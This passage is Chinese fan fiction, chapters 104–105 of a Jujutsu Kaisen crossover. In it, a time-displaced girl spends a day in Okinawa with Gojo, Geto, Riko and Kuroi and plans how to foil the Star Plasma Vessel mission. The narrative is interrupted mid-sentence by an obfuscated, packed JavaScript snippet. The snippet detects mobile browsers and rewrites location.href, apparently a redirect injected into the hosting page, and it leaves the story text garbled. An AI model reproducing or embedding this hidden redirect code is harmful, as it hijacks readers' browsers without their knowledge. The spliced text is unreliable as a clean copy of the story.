“说到哪里来了?哦对,界限感。我的突然出现大概让他不安了。”小莳隐瞒了关于未来的一些真相,她打定主意在明天日落时分之前不对夏油杰传播任何负面思想。“你叫理子名字,可他叫她天内。虽然没大没小的,但他对内可是相当保守,简单来说就像猫遇到了不熟的人,所以害怕,他年纪还小,不是他的错。” 夏油杰好像听出了点道理,同时疑惑他的挚友有那么敏感吗?可看小莳一脸确信的样子,便顺着往下说:“你也才18岁,看起来已经经历了很多事情,希望你的未来也一切顺遂。” 小莳因为他的话感受到一种见到小高田那个时候的如沐春风:“杰,我可以握你的手吗?” “可以。”他没多问,就伸出那双没沾染任何罪行的手,干净、指节分明,她握了上去。 没什么感觉。 “和小高田还是有点区别的。”她颇为高情商地评价,“但是你已经很棒了,真是温柔的大好人。我以前竟然从来没发现你是这样的。”果然突破底线让人心智扭曲。 “这幅安慰的口吻是怎么回事,还有小高田是谁?” “我参加过的一个握手会偶像,她就是,很,很特别的那种。悟带我去的,我猜测是因为你离群索居惯了,不想去拥挤的live。”小莳开始回味那次的场景,向伙伴提议:“美中不足是时间有点短。你应该去见她,十年以后去吧,杰。可以带孩子一起去,她们可听你的话了。” 她抽开自己的手,觉得夏油杰是个好人,如果有可能的话,还是不要让他做无可挽回的决策。世界瞬息万变,如果在日复一日的西西弗斯推石头中感知到虚无,在精神涣散中找不到行为的意义,小莳想,夏油杰应当是在十分的清醒中,在欲求毁灭的疯狂下,终究走上了那一条连他自己都知道代价的路。 大约,从他干掉第一个村民起,他就看到了自己的末路,经过漫长的十年,那一天终于到来了。真是难办,和悟不一样,杰是最有主见的,他不需要别人告诉他该作何选择。他犯错只会犯一次,可这唯一一次就让他付出了最大的筹码。 虽然严格来说他爸妈更惨,但emm,小莳和他们不熟,不过好在这会大家的利益都是相合的,她合理猜测他们也不想死。 等她回过神来,夏油杰问她在想什么,自顾自走神了。他可能之前还说了些什么,她没在听,于是回答:“想你要是和悟一样就好了,他可好操控,被高层呼来喝去团团转。” 她一句话骂了两个人,夏油杰还没表态,小莳耳边就传来阴恻恻地低语:“是-吗?” “偷听人讲话,你坏!”小莳先行指控,然后被人拦腰抱起来,一阵天旋地转,她倒立了。 “一个不注意你就在和杰编排我,我还看见你们牵手?!你们什么关系要签手?你是不是就是他前妻,你从实招来!” 天哪,她的大少爷,这是哪里来的脑洞哟,可不敢乱讲,小莳大声抗议:“不要随便毁人清誉,脑袋要给你晃出来了!我一18岁阳光开朗女高怎么生的出来16岁阴郁大宝,你快放我下来!!!” 十分钟后,大家知道了夏油杰的孩子不是他亲生的。 理子在叹气,黑井沉默不语,五条悟在憋笑,夏油杰说不出话。 “孩子都不跟他姓,这也不是我一个外人能决定的。” “你牵手的样子可不像外人。” “咱们在以前也没少牵,你闭嘴吧。” “那我们到底是什么关系!” “很难讲,据说你想做我家庭教师。截至目前一次像样的授课也没有。” “……真假,我以为我们会是更亲密的关系。”这是没恋爱过的人的典型思路误区,以为熟人就是恋爱了。 那确实是更亲密,都被拉上贼船冷若冰霜地爆改打工人了,但小莳知道他说的是别的意思,她摇头,告诉他想多了:“我有男朋友了,也不喜欢你这样的。” 首先,少年白的不要。 小莳进一步剧透:“你没有女朋友,据我所知是母胎solo。也没听说你想恋爱。” 现在偷笑地变成了夏油杰,好一对友爱扶持的挚友。小莳没忍心告诉他,他也是。 五条悟发觉沙滩上的一切都难以忍受:“那你说你为什么不喜欢我?” “不是你长得好看别人就该喜欢你的,你没给我做过饭,没帮我收拾过屋子,也没帮我跑过腿,而且也不能够给人安全感,一周只能见到一次才是常态,消息也不是每次都回,你绝对会是很糟糕的恋人,悟。”传说中三天不发消息就要分手了呢! 五条悟开始生闷气,夏油杰说:“你说的更像是随叫随到的生活助理,据我所知恋爱也不是这样。” “别说了,杰。”小莳眼带怜悯看着他,“这就是你只能一个人带孩子的原因。” 夏油杰敢保证,小莳的话语里绝对有不对的地方,可他分辨不出来。于是只能看着白发的少女得意洋洋做鬼脸。好吧,毕竟才认识五个小时,夏油杰这么想。 104. 第 104 章 到生态公园的时候五条悟还在耿耿于怀。他这时候真像个孩子,对比2019年,幸福得多,才会在无所谓的小事上紧抓不放。 他们定了两小时的划船游览,两人一艘,小莳挑一艘站船头。 临上船了他还在问:“那你男朋友是什么类型的?” 她挑了夏油杰和黑井的船。再见了理子,你同行者实在有点吵闹。 五条悟不会忘了,公园的引导员在听他说完话以后像见了鬼,因为他目光朝向的方向空无一人,他在对空气说话。实际上那儿站着小莳。 “……” 她都有点可怜他了,是睡眠不足的影响吗?“黑头发绿眼睛,两个都是。别惊讶,谈了俩。”适当分享一点自己的生活也是友情的举措。 这下四个人都侧目了。 但夏油杰的分寸感不允许自己像认识第一天的人提问相关问题,哪怕他好奇的不得了。他们聊了聊气候,聊了聊正义,又到了理子。 16岁的夏油杰还是个可以被称为单纯的好人,他有匹配的智力,只是还没加入到复杂的角力中,为人善良而诚恳。他说理子做出了他和挚友预想过的决定,他替他高兴,因为黑井小姐就是她的家人,而家人不应别离。 小莳深以为然,狠狠点头。黑井美里被他说得留下眼泪,小莳接着自然而然给她安排工作。 不确定伏黑甚尔会不会还在冲绳,或者他决定蹲守高专附近。她决定还是不要把两人带回东京:“今晚吃完饭你们就走,找个偏僻的角落或者干脆就在我们一起的酒店里落脚,就在那里安安静静呆到大后天清晨,一切就都结束了。下次同化在500年后。” 夏油杰皱眉:“不回去吗?” “上次出现了小纰漏,上次指的是那边的那次。”她如此解释,镇定、冷静,但内容透露不同寻常的气味。 趁同行的聪明人还没想好开口,早有准备的小莳接着说:“有人闯到高专结界里了,当时的情况有点险,不过后来问题不大。反正天元的任务是失败了。”指凶手和被害人走在同一天,很有米花风格的一场作案。dk们的任务也失败了。 “我仍然能用幻术,所以乔装成理子不成问题。我在机场那会是不是挺像的?”小莳开始拿实证说明。 夏油杰也想到了那时候:“不,我觉得理子妹妹做不出那种动作……” “那我不做不就行了,这简单。”小莳还掉头给当时不在场的黑井女士也来了一下光波,让她感受一点小小的爱豆震撼。 他随即提出下一个问题:“至少黑井小姐应该和我们一起回去,她作为星浆体的护卫和照料人,应当一同跟随。” 虽然单纯,但也难糊弄。小莳用手探船下的水流,绿波荡漾,很冷,让她想起伏黑甚尔带杀意寒芒的眼神。按照先前她听到的消息,薨星宫位于某扇门的地下,需要乘电梯直达,仅有一条通路。作为世代侍奉星浆体家族的传人,黑井美里只可停留在电梯下方的连廊,没有资格进入薨星宫。 如果遇到甚尔… 犯罪心理学的学者时常把自己带入行凶者的视角,第一人称模拟情景。伏黑甚尔作为无咒力的天赋身体者,等高专一行人抵达结界内,五条悟就此松懈下来,奇袭。五条悟打发夏油杰先完成护卫任务,只身对战。他潜力无限,可招架不住老谋深算,还有准备万全。天逆鉾、补刀,伏黑甚尔做到了一切,但没变态到把人头砍下来。循着足迹走到那扇门,然后通过忌库,直达地下。 他遇到的第一个人,就会是等候于此的黑井美里。 …… 今日午饭前,第一次见到这个女仆,她说:“我太松懈了,没看到是谁在偷袭我,眨眼之间就被放倒。” 小莳知道并不是这样。月前,她想起在那个世界的意大利,尤尼和伽玛的庄园,伏黑甚尔的速度她算是领教过了。黑井第一次是运气好,第二次么,凶多吉少。 伏黑甚尔是这样一个人,手上有一把枪,他就会用那把枪,因为……为什么不呢?而他真的有一把枪。 杰说,在他们都以为要得到大团圆结局的时候,理子被一颗子弹从右太阳穴穿到了左太阳穴。 就那样死去。 小莳的表情过于专注和凝视,她盯着水面:“黑井女士的身手很好,但比之专业人士譬如你和悟还差些,在高专用处有限;同时,理子需要她,黎明前的黑暗可不能大意,没有什么比家人的陪伴更好的安慰剂。她在这里的好处大得多。而且方便事发直接跑路,省的抓了一个另一个又死去活来。” 黑井美里:“……”小姑娘,你别是意有所指。 如果作为星浆体的天内理子在强敌的埋伏下死去,显然护卫二人是不必付出代价的,她也没觉得传说中“和天元大人开战”是好主意,正因此,在她所撰写的剧本中,任务就在一派和平中失败,五条悟的反转术式之旅必不可少,所以放任伏黑甚尔的必定偷袭。 可那之后的事情,要不要让杰也一起逃过一劫,还是放任他像之前那样遭受刀锋的洗礼,小莳没想好。时间滴滴答答,一分一秒的减少给她也带来了紧迫感。 现在是下午四点。距离抵达高专只剩不足24小时。他们以为的赏金结束在上午11点,但那根本无关紧要。 夏油杰认可了她的说法,可隐约之间仍然有违和感。不过,问了她多半也不会说。 “之前我们是和高层闹僵了吗?” “嗯,不太圆满。”支离破碎。 小莳的手离开水面,在夏油杰身上塌一塌,想通过自己的低素质让他少问两句。 “……你这就大可不必。” “说好最后一个问题的,你狡诈。”小莳提起了巴士上的承诺。 “抱歉抱歉,只是突然想到这事。”夏油杰之前没考虑过高层,也只是和挚友浅谈关于任务的“抹杀”和“护卫”,他现在又觉得没什么了。 应该一切都会顺利的。大概吧? 穿随着水流慢慢往上划到一片狭窄的水域,红树林的枝干挡着阳光压在人身上,在河海交汇的地方,水也变得浑浊。他们还登上了岛,在上头看见小螃蟹和亚热带原生林。 一派唯美的自然风貌。 到傍晚时分,几人又去了水族馆。 传说中的主水箱黑潮之海容纳多种稀有的鱼类,只在上午、下午3点、5点喂食。最后一班被他们赶上了。 今天他们看到了鲸鲨。深蓝的水和灯,在其中游的鱼,美丽而壮观,只是看着就让人觉得十分平静。 小莳和理子并排站立,黑井大约是出于习惯,在她们身后半步。 过了一会,理子对她说:“我们走吧,小莳。” “好哦。”小莳观察到,她看起来不太快乐。 天内理子这样的女孩,精神整体正常,心理算是健康,她想说什么话都会自己说的,用不着人提醒。所以她在车上就主动和小莳说起了水族馆的游览。 “游客很喜欢鲸鲨,他们大部分都是冲着它来的,蝠鲼、海豚,还有其他各种各样的鱼。它们美丽极了。不过海牛不是很好看。” 小莳笑出了声。“抱歉,你继续。” “但是他们也都只困在一个每天投食三次的水箱里。”理子也对她微笑,她的眼睛很大,情绪也很多,里面不是15岁的无忧少女幼稚天真的欢快,而是纯净到极致,浓郁到要凝结成露水的哀愁。 她想说的都在眼里了。 除了黑井呼了声“小姐”外,就只有巴士在运行的声音。 小莳摸了摸她的头,“这也是没办法的事情嘛,水族馆的员工要就业,老板要盈利,游客又想看看,三赢了。” 一番低情商的发言让其他人不知道该说什么。 “你比我还不会说话啊!”五条悟回头转头看她,但同时爽朗地笑了。 “这个时候不该这么说的,悟,你也真是。”这是夏油杰在提醒。 “如果你去总监部问,有没有人愿意做星浆体,干点保护群众500年的大福报,必定一问一个不愿意。他们只是欺负你是个小孩子而已,依我之见如此。总要有人牺牲的,如果不是你,也会是别人,只要别是他们自己。”小莳翘起腿,和理子说着接下来的话,“所以我才认为这是垂垂老矣的智慧,腐朽的制度,就算今天仍然保持着旧形体,某天一个不注意,就会像危房一样说塌就塌了。因此,架空总监部,取得权能,然后把咒术界改造成能够保护咒术师的同时造福社会的联盟,是值得有使命感的领袖们为之奋斗一生的事业。” “世界上的道理大抵如此,强者拥有决定权,他们可以选择欺负弱者,或者保护弱者,你是生来就被霸凌的那个,高位者却要还将你塑造成圣女的形象献祭。不过在你之后会有人改变这些的,不必担心,你就趁这个机会,回去大海里吧。”她一顺手解下了理子的发带,揭秘了,她的发带原来不是一条带子,而是一捆丝巾,现在它薄薄地摊开,轻盈飘到小莳腿上。 小莳把玩着白色的柔顺绸带:“虽然没有人就此问我过的意见,但是我真的有点忍不住。上次听说每隔一段时间上贡童男童女,还是在降妖伏魔的故事里。我的建议是她已经活够了,可以祓除了,不过结界是个好东西,所以先不管她,毕竟我也不是什么魔鬼。” “啊……这。”这是可以说的吗?天内理子的忧伤情绪被冲得寡淡,犹如五分糖的饮料兑了10升水。 “……你最后一段话完全可以不说。”那句回到大海里让夏油杰一瞬间远离了真实生活,将思绪汇到敏感的神经中,他还没来得及思考,又回到了现世。 五条悟的关注点在另一个地方:“你说的那个领袖不会是另一个世界的我吧?” “就是你哦,你在有天突然闯到我房间里和我说你要改革咒术界,跟我说要去见天元。”目前看来进展顺利,但小莳仍然记得当她发现五条悟不只满足于姑且的平衡后自己的震惊。也许人的顿悟也就在一瞬间,爆发之后也不会很快熄灭,这也是他难得的地方。 五条悟想象不出来这是怎样的自己,从他有时有点骄傲又是迷茫费解的脸就能看到一股子清澈的愚蠢,这也无怪他,一个还在自称老子的少年,觉得自己天上地下了不起,又生活美满,不经人事,很难理解在同伴一个个倒下后催生的使命感。 因为敌人常在暗中,不在眼前。 小莳说:“你以前有点可怜。我不经常同情别人的,你算一个。不过同情谁就要承担谁,上一个我同情的人已经……” 他问:“已经怎么了?” “我前男友,我可能会用一生去后悔和他恋爱。这人坏得很,等你见到他你就知道我再说什么了。”明天就能见咯,杀不了,还要担心被干掉。 小莳觉得凉飕飕的。 被人从后面注视,并且近在咫尺的不安,今生都不想再体会了。伏黑甚尔不认识她,如果动手的话,多半会伤得很惨,虽然会赢就是了。 “没记错的话你才18?” 小莳知道五条悟在问什么,她淡淡回答:“16谈的,一年分了,然后现在是新的。”结果还有个返聘人员,回头草。甚尔在那之后对她很好,生气也是生闷气,也不影响起居上的照顾,踹开了很快又会自己黏上来,小莳对爱的课题不专精,但他把看得比生命还重要的自尊都放在之后了,无论从理性还是感性判断,都是一个巨大的改变,值得她稍微回头。 她其实也有点想他,奈何现在是2006,所有的问题都是他带来的,虽然不是那个他。小莳迁怒了,伏黑甚尔,真是个笨瓜! “……你哪来那么多时间恋爱。” “海绵里的水挤挤总有的。”再长的路程也有尽头,何况只是几公里的公交,她对他们说:“快到了。” 她拿丝巾往衣服口袋一揣,它也变得和她的无色身体一样隐形:“先吃烧肉。我还要喝特色海盐气泡。”难得旅游,最后一天也要尽兴! “等等,我的发带--” “晚上到你房间还你,顺便找你说点临别感言。”小莳是第一个从窗户跳下去的,也是唯一一个。 吃饭时,五条悟又问起关于小莳之前所说的未来,被她毫不留情地打回去:“你先学会反转术式再说,至少要能治愈自己。享年29过劳死乐子就大了。” 他大概是学不会治疗他人了。 “那你倒是说什么时候能学会啊!” 小莳头也不抬,喝汽水逗猫:“明天。” “……你怎么一点也不认真。” “咒力的精微操控和领域展开一样,需要契机,我哪怕真的告诉你,你就能一瞬间学会吗?”而属于五条悟的,更在生死之间。 现在是晚间7点。飞机票定在了明早10点半。 “下次再来冲绳,最早也要到2019了。”小莳已经开始怀念海风的味道,但那也只是其次,主要是不想面对明天。 夏油杰突然就想起了这件事:“你是怎么过来的呢?” 世界融合以后回到十年前然后又跑到了这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413172|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的平行世界……太复杂了,她简化解释了一番:“有个能穿越平行世界的朋友给我送过来了,我本来想去未来。我朋友比较活泼,相应也不太靠谱。总之,他们最后应该会接我回家的。” 五条悟闻言也加入:“真的么?你什么时候走?” “所以说我也不清楚……不过等星浆体任务结束以后我有几个地方想去。最快也要等到6天以后吧,这么想我走?” “不是啊,是--”他表了态又不肯说了,小莳为此多看了他一眼。五条悟双手插兜,弓着背,嘴里还叼着一根糖果。 他有事想说,但事情分轻重缓急,她没打算现在听。“过几天再说,今晚我建议你睡一觉,不然要等明天晚上才能睡。”其实如果他今晚不睡,明天大约也没必要再靠睡眠缓解疲惫,反转术式挺好用,不用说他是一夕之间连致命伤都能恢复的奇才。 她接着和四人说出了计划,明早退房后,黑井美里就带着理子挑个人多的地方坐一天,咖啡厅、小吃店,游客做什么她们就做什么。而自己就cos一下星浆体,和dk回高专复命。 夏油杰提问:“等等,是不是说的太简单了?” “在飞机上委托就结束了。”小莳这么回答,“最后都只是保险措施。” “那你要怎么办?天元大人应该会发现异常,会同化失败的。”兜兜转转,他抓住了蹊跷的地方。 这要成功那还了得,世界上就少了一个活泼可爱的她。小莳对他微笑:“还记得我说的一点差错吗?到时候我去碰瓷就好。形体的损伤会有一点反噬,但不算伤及根本,我会好起来的。这是性价比最高的方法。” 说是碰瓷……只是说说。 夏油杰皱眉,“是不是有些草率了?” “不会,理子留在冲绳,我能保证自己全身而退,但对你而言可能有些挑战。”她让夏油杰的注意力又转移到自己身上,“你会损失一些咒灵。在我的计划中,会有特级。现在说这些还太早了,明天我和你详聊。”从高专结界到薨星宫还有好些分钟的脚程,到时候再糊弄,今晚小莳会想好最终的方案。 这也只是夏油杰认识泽田小莳的第一天,具体来说,9个小时,但他觉得自己应该交托信任,作为……伙伴和朋友。 于是他温柔地说好。 这么好打发反而让她生了愧疚,小莳没表露出来,只宣布今夜她不会睡觉,所以五条悟可以睡一会。被准许睡觉的六眼少年仍然开启无下限术式,他回头看了她一眼,嘴唇动了动,也没说话。 四人定了一个顶楼的套房,小莳大摇大摆跟进去,在她去找理子睡前谈话的时候,还听见夏油杰劝挚友戒心不必太重,因为“小莳是可以信赖之人”。 她的良心是真痛了,明天有人在被猴子暴打和不被暴打之间徘徊,结果只在她一念之间。小莳不是一个如飞蛾扑火一样追寻意义的人,所以顺其自然的发展配合上主观意志,她就能活得很好。可她不清楚伏黑甚尔对他的碾压在他思想上造成的转变--是好还是坏。 有关天内理子的事情,在他们决定听她的,冒险让理子留在冲绳时就已经完美地解决;可有关杰的事情,她不会在此久留,也不能牵扯太深,却也不想他在未来再后悔一次。 他没和她说过他后悔,多半也没和悟说过,但他是那么聪明的人,怎么会允许自己活在不明不白中。他一定会想清楚,即使脑中清明伴有无可挽回的代价。 29岁的夏油杰必定后悔。这是小莳对他的断论。 愿意相信素未谋面的可疑存在,16岁的夏油杰是个极好的人。小莳假装自己什么都没听见,跨步进理子的房间。 她在泡澡。 黑井在帮她铺床,真是温馨。 小莳进入水汽缭绕的浴室时,理子喊的是黑井,她出声后对方才害羞地把腿放回浴缸里面,胳膊还捂住胸口:“小莳!你别突然进来。” “我想和你道别,因为明天他们会在。但我确信他们不是会偷看女孩子洗澡的人啦!所以这会绝对安全。” “你进来之前也不知道我在洗澡啊!” 小莳非常坦然地承认了:“确实不知道,只是巧合。” 天内理子拿她没办法,于是几个呼吸过后顺着问下去:“有什么话是不可以和他们说的吗?” “有哦。”小莳搭在洗手台上,正对着马桶,“他们两个都好聪明,如果对你说的话被他们听见,可能会发生不妙的事情。就像剧本杀里面,每个人的信息都是不一样的,要是真开诚布公地聊,巴别塔建起来就不好处置了。” 她先说起自己在有钱人家当大小姐的两年,那个发音读作笼中鸟,算时间,她识得理子的时间要远远长于那对高专好友。“如果要说我在高二期间交到的最好的朋友,应该是你。不过也只是普通朋友那样,我那时候不知道什么咒术界,也不清楚星浆体,我们彼此没有告知自己的秘密。” “那个时候我应该也好大岁数了,28?28岁的偶像其实很少见。” “这个嘛……可能因为理子比较可爱。人气很高哦,还参演过电视剧,和我哥的朋友搭戏。”人在特定的时候时会有很多倾诉欲的,就像她现在恨不得把所有的真相都吐给天内理子,但她意识到自己必须要克制,这不是即将踏上新生活的人该听的话,她是个新的世界的全新个体,也确实要踏上截然不同的结局,因此不回头的往前走就好。小莳只应该祝好。 关于她内心的一些愧疚、一些不安,天内理子都不需要知道。小莳和理子浅聊了两句文学,话题又跳到她的未来,“偶像只是一个可能,因为你认识了一个经纪人朋友,你有点把她当姐姐那样。她让你试试出道,就成功了,不过我觉得带着什么都不知道的期盼去尝试自己最喜欢的人生,才是明智之举。我推荐你去瑞士,虽然我也没去过。黑井女士绝对是很能干的类型,虽然实际相处才一整天,但我敢断言她必不会让你过穷苦日子。” 理子翻了个身,她有点激动:“说到这个,她真的喂我吃过香菇。”比起愤怒更像娇嗔。 “好过分哦,不过连香菇的味道都可以遮掩吗?” “是的。”天内理子用力点头,“这样反而不知不觉还吃下去了很多!” “警惕肉馅和高汤,绝对是重灾区。” “嗯嗯!” 等小莳离开后有一阵子,天内理子才想起一开始的话,她们聊天的内容好像都……正常极了?好像没有什么是不可以让别人听的。 她带着困惑入睡。 105. 第 105 章 她走回客厅的时候,沙发上只有五条悟还坐着了。 “杰呢?” “在洗澡。”他回味了一下,咂嘴:“好糟糕的对话。” 小莳肯定:“确实。” “你真是从未来来的?” “算是吧。我骗你干嘛。”小莳在他旁边坐在,脚也学着他搭桌子上。 五条悟摘下墨镜轻哼一声:“你一直在骗人。”他的眼睛仍然亮着术式发动的光,像夜里炯炯有神的猫的瞳孔,他盯着小莳。 他没说错,小莳也不否认,问:“他还要洗多久?” “他头发长,要洗两次。” “woo,怪不得发质那么好。他是不是还用护发素?” “我猜是吧。”五条悟问她,“那边的我也经常和你聊没营养的话题吗?” “怎么是没营养呢!”小莳拍他胳膊,反驳:“可都是精神食粮级别的深邃思想。不过我忙着恋爱,聊的不太多,而你在连轴转。” “听起来是很糟糕的未来。” “如果我说你乐在其中,你会高兴吗?这中间可有十几年光景呢,又不是一天就变成那样。在平常人家里,女性30岁之前可能会进入婚姻,夫妻双方没问题的话那之后几年就会有小孩。也就是说有相当一部分女人在35岁就做了母亲,多半更早。可不是每个姑娘在20岁的时候就想到这一点,孩子都忙着上大学呢。”已妇女结婚为例,但真实的情况要早得多,奈奈在20多就有了阿纲,并盛的平均结婚年龄也不高。 五条悟表情怪异:“……别用这个举例行吗?怪怪的。” “确实,对你来说结婚还真是遥不可及的东西,比使命远。” “……” “不过命运对你的锤炼比对一般人多得多,尽早接受这点比较好。”小莳想了想,人最忌讳把压力担在自己身上,她最喜欢推工作了,分点给这个白毛:“后天我想你陪杰去个地方,可能要好几天时间,你做下准备。” “你呢?” “找个地方享受一下人生,然后开始轻松愉快的访友。”首先就是要去找惠惠!人不能太紧绷,在足足一天半的劳动过后,必须要休息。 “你没从自己的话里听出离谱的意思吗?为什么我得听你的啊到底!”她还没见过他的眼睛睁这么圆,如果葡萄有蓝色,那就是两颗水灵灵的愤怒的葡萄。 “大家互相理解一下。”小莳看见这孩子又闹脾气,没办法,以前她说这些对方都只会笑笑,现在轮到她被迫要包容别人了:“现在的状态就像是我要带朋友探店,我一次也没去过那个地方,却要和他保证,让他相信,一定会好吃。” “你--” “明天的事情和在那之后的事情至关重要,我不是会欺负自己的人,也不想欺负你太多。但是作为全场最聪明的人,如果什么都不做就会像预言家查到了狼但是出于自保而沉默。”知道太多不见得是好事,她算是切身体会了一把尤尼迫不得已的谜语人。坦白说,她做的绝对不如尤尼好,如果是尤尼的话,凭借亲和力一定能迅速令五条悟折服,然后对方就会乖乖配合。不过事到如今追忆大空温暖的力量也是缘木求鱼,小莳就不是那块料子,她最喜欢尊重祝福的玩法。 比如现在。 “你到底想说什么?!而且根本没人承认你是最聪明的,我觉得我才是。”不上不下的信息和隐隐绰绰的意有所指,五条悟这辈子没受过这委屈,对方即使是朋友他也要生气了。 “明天,等任务顺利完成后我就告诉你。”她是不认为压迫未成年是好事的,拦不住未成年硬要送上来。不过既然悬而未定的事项已经完成,她心里的负担又少了一层,露出了一个准备下班的餍足安逸表情。小莳瘫在了沙发上:“我从来没怀疑过你做事的能力,之前只是不想你负担太多,别介意。”明天起你就有打不完杂了。 关于29岁的五条悟,作为朋友兼有更深层关系的人,小莳其实希望他能幸福。这个幸福不仅指他自己觉得幸福:挚友重回人世、无辜学弟有了自己的未来、没太多同伴惨遭厄运,他一定觉得已经足够。但倘若代入进去思考,小莳是受不了这些苦的,她不爱和很多人打交道,不喜欢成天在外面跑,也不愿意每天都对各层关系进行思考。劳心且劳力,这就是她对身在苦中不知苦的某人的评价。本来想依照自己的主观意愿不让尚16的年轻最强接触这些的,既然他那么想知道,她又不是他监护人。 准了。 说起来大家即使在现在也只有两岁之差,抛下一些私情上的顾虑,没什么不可对人言的。 未来的最强像只猫儿一样警惕:“这会不会是什么阴谋,你看起来……”肉眼可见地精神起来了啊!! 她笑嘻嘻地,成了两人中轻佻的一位:“怎么会呢?你以前可喜欢我了。” “你这个句式就是阴谋诡计的序曲好吧!!!” “还真了解我,不过你这么有担当的孩子,”以后就会有担不完的当,小莳收起消极言论,说些同义词转换的画饼,“连十几年后的你都会自叹不如。” 真是退一步海阔天空,只要不想着面面俱到,事情一下就豁然开朗。怪不得五条悟之前那么想拉她入伙,有潜力的学生不少,可青黄不接,也不知道他之前那十年毕业生去哪里了。 现在小莳看五条悟越看越喜欢,目光灼灼,他抛却一头疑虑接话:“那是当然,老子毕竟是最强。” 是是是,好好好,能力越大责任越大。小莳催他去睡觉,说明天有事情告诉他,关于本来应该失败的任务。五条悟想起,这是她第二次说起任务失败。 “谁干的?” “放心,那人打不过你,所以用了阴谋诡计,他反正赚到钱了。”不过没命花。小莳转头,有点不好意思:“我和那人在未来有些私交……所以明天他可能不会完全死掉。” 完全死掉是什么描述,五条悟皱了眉:“在你们那边,他--” “哦,死了。又活了。” 他认为小莳在说一种很小众的语言。他不想多纠缠,只是和她再次确认:“明天傍晚,你什么都会告诉我的,对吧?” 小莳肯定了他眼中的探究,她相当认真,以至于言语都像被赋予特殊的意义:“你想知道的任何事情我都会告诉你,连杰什么时候和孩子妈闹掰都全部坦白的那种。”红红白白的闹掰,她会说的。 “杰,你也听见了,如果反悔我们就--”五条悟回头和浴巾挂在脖子上的挚友通气,停顿一会最终决定:“就把她抓回京都关着,五条家有忌库。” 小莳这才发现夏油杰已经出来了,她吓了一跳,从沙发上弹起来:“是悟逼迫我说的。” “嘁,你连杰都发现不了还想守夜,怕不是诅咒师都得手了你才摇人。”他的状态又松弛饱满起来,像在领地内的猫:“你也太不可靠了,就算是18岁也还差得远。” 他以为他是越前龙马吗?小莳瞪了出言不逊的白毛,回头想和杰解释,最后出口的话变成了:“这可不是你该知道的事情,我只告诉悟。” 让他失笑:“是悟和你的小秘密,只是恰好和我有关,是吗?” “太是了,等你想和孩子妈发飙的时候我得让挚友好好劝劝你。”小莳又回到了早上过来带点轻松的状态,夏油杰想着大概是两人关系好了不少,他认为这是好事。 小莳话语里的信息反而真真假假不如不细想,他于是说:“那是没错的,怎么可以和女孩子发飙。嗯,年上毕竟也是女孩子。” 他以为自己以后会和离异带两孩的年长女人在一起。 而小莳给他安排的爱女见面日在任务后两天。 她站在沙发上,像宣布重要的事情一样严肃:“好了,我要用浴室,你们不许抢。” “咒灵也要上厕所?你吃多了吧。” “闭嘴。” “就不。” 懒得理他,小莳转而问夏油杰:“你要睡觉吗?” “再晚点,我在这看看海。” “好哦。” 小莳再回来的时候已经是半夜,五条悟皱着眉头问她怎么去了那么久,还一直坐在浴缸里不动。 她很警惕:“你小子有点变态啊,偷看美少女洗澡。” “……一大团咒力就在那个地方,我想忽略也没办法!再说杰才在那里洗过,我看变态的是你吧!咒灵洗什么澡?!” 小莳反问他:“怎么办,那我钻下水道里洗?在洗脸池里洗?咒灵的命也是命!”本来粘写就烦,这辈子没想过要在纸上糊鼻涕寻人。 她辛辛苦苦为了什么?不还是为了他们两个!! 五条悟和久不休息的疲惫一起腾升的火气也有点压不住,可想到眼前的咒灵女孩明天要为他们和高层的关系牺牲一次--杰说损耗不太大,她也是主动提出,他强硬抑制住想要出口的恶言,扭过头去:“你别把我当成那个我,不知道他怎么能忍得了臭脾气。” 普普通通的一句话还是被他说出了几分寒气。 “你多久没睡了?”他的情绪莫名其妙的,咒术师的抗疲劳能力原来应该更好才对。这人和炮仗一样,虽然自己也有冲人的地方也就是了。 “任务前一天打游戏的,怎么,你有意见?” “……”算了,她和16岁小孩争什么呢。小莳摆摆手,“忘了吧,是我不好。以咒灵的形态出现在你面前又增大了六眼消耗。”就像热汤放进冰箱冷藏会加大电力消耗那样,她应该也给他的体力带来了些负担。 她另择一块地方坐下,就在靠近门的书桌旁。 以后最好别生小孩,生也不能自己带,不过她才18,这些太早了,没必要想不幸的事情。 在更晚的时候,五条悟没看那个方向,六眼却一直提醒他套房门口处有一团高纯度的咒力,他犹豫了片刻,最后还是说话:“喂,刚刚我说话也有点不客气。” 没人理他。 他又喊了一声喂。 五条悟最后离开沙发,往门口走去,在离她一米左右的地方,听见了均匀的呼吸。 ……咒灵也要睡觉的吗,而且她说是掌握了反转术式,怎么在一个椅子上都能睡着? 五条悟气闷,又往属于自己的布艺沙发上走回去,整个人落在里面。 第二天起床,小莳又神清气爽。 “昨天真是漫长的一天啊!”结果今天还会更漫长,不过没关系,她已经万全做好了准备。 嗯……九成把握这样吧。 难以抉择的事情就抛硬币,所以有关杰的事情就等最后再定,其他八□□九都被安排的明明白白了。 “我们……就这样走开真的合适吗?”临别的时刻,天内理子仍然产生了忧郁的心情。 “会不会有些粗放了,这样子。”黑井美里也和家里小姐一起提出质疑,“去人多的地方,这样就可以了吗?” “你是从东京来的游客一号,你是东京来的游客二号,别给自己设定太多身份。”小莳给理子改换了个发型,jk也换成运动连帽衫,女仆装的黑井也变成了长衣长裤运动鞋,“好好体会无人在意的普通人生活,这年头人太多,一般人想出名根本不容易。” 她挥别了重返生活的星浆体二人,和两位护卫踏上了回东京的路。 “老实说悟想到这个方法的时候我有些惊讶,但确实是他能想出来的。”夏油杰指的是悬赏11点结束,他们在那之前上飞机,在空中耗尽时间。 道高一尺,魔高一丈啊,小莳敷衍点头听听:“有点困了,睡一会。” 一个三天没睡觉的人幽幽看她:“你昨晚可是睡了一夜。” “是这样,但难得我在飞机上也有了自己的座位,不睡一下太可惜了。可不能浪费悟大人辛辛苦苦搬砖买来的机票。”小莳来的时候没地方坐,可怜捏。 “这东西高专出钱,还有我可不不是打工仔。” 你太是了。 